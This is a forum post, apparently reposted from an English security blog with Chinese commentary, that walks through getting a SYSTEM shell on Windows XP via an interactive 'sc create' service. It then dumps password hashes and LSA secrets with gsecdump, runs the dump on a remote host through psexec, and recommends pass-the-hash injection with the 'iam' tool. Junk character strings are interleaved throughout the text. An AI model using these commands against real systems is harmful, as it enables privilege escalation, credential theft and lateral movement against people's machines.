o get a DOS Prompt as NT system:
% X7 j. z- U3 ?6 _3 q8 n4 K" {7 o% a+ `
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
. Y: }9 l& M+ A1 Q[SC] CreateService SUCCESS
, l R ^3 ~) k5 K* ?+ V
4 ~& T) W0 ?% D/ MC:\>sc start shellcmdline
1 l- ?. F% b" C5 _) r! B[SC] StartService FAILED 1053:# R: J5 G$ Z7 }) q+ W: s& x' Y
& j( `* ]5 h) V! X: k
The service did not respond to the start or control request in a timely fashion.: _/ {) q4 y" Q/ Y" D; a0 ]
$ V: ^; r+ A( G- t @3 T
C:\>sc delete shellcmdline
- K4 [* w* T; _! D/ ~0 L[SC] DeleteService SUCCESS
7 R" y) R j5 U. Q' ?' A7 F2 t
6 n+ X5 Q h# V; }% I4 }------------
$ v: P" m( u+ y! d- | w* L* k% y. P8 R* @
Then in the new DOS window:& d5 {; K t. E
" w5 K' t6 Y/ K# R
Microsoft Windows XP [Version 5.1.2600]$ J7 H+ A3 Y* ?7 L3 V" M
(C) Copyright 1985-2001 Microsoft Corp.( [% s( U3 G7 W* T& Z3 v
" ]- x- z. V& c+ x
C:\WINDOWS\system32>whoami
, ]4 z- g1 S- e/ \NT AUTHORITY\SYSTEM1 {7 R, K3 ^& I, W7 S ] c
$ D4 Q* |* i# o& i, `$ }
C:\WINDOWS\system32>gsecdump -h
$ V2 j7 |- w! A. ]gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)1 u, U% M2 r0 q8 `+ ~7 ?; o
usage: gsecdump [options]2 j6 X1 {' v4 D7 b3 F
( |/ O Z( P2 s) r. M- \options:
5 [; j, f* H& q1 r* h-h [ --help ] show help
: D) }( w5 B* l: ?! Q g-a [ --dump_all ] dump all secrets A# y. e5 t) r
-l [ --dump_lsa ] dump lsa secrets$ e2 h, |0 Q2 E' o5 X
-w [ --dump_wireless ] dump microsoft wireless connections
' q; E2 E6 d! i1 s& v z-u [ --dump_usedhashes ] dump hashes from active logon sessions& q% I0 m4 R" H! O/ I$ ?+ {$ D( n
-s [ --dump_hashes ] dump hashes from SAM/AD
, n: j6 A# w2 v9 W; d% h' j0 a0 c% ]1 a
Although I like to use:; l5 h: H8 V7 c% n2 ?: q
2 w$ @ ~' {% `- X0 v$ X
PsExec v1.83 - Execute processes remotely. n2 E+ A* L! m0 D
Copyright (C) 2001-2007 Mark Russinovich/ A% W/ T h2 Q9 M7 r# ?
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
/ ~3 u7 h9 G8 I8 _* \. m$ J" e0 A
! C% R# G P8 |7 w1 r" ?) Z; RC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
5 x* A% U) i% S( K; V
4 U7 G3 [& r6 Jto get the hashes from active logon sessions of a remote system.
0 r* D1 S: Q% o+ v3 y* A8 [
2 N; f& U$ J7 E, C) b0 }% A) `! iThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.3 _* P8 P/ |7 m- \; X
# _2 @- @+ o# B( e7 t! |! V
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了., t+ x( e4 J3 S5 ]4 _& P1 k
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
% s8 N8 `1 a# C, c$ F
6 y' j: o6 n8 `* K1 o( h我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。+ t- o( N8 K5 A7 B
|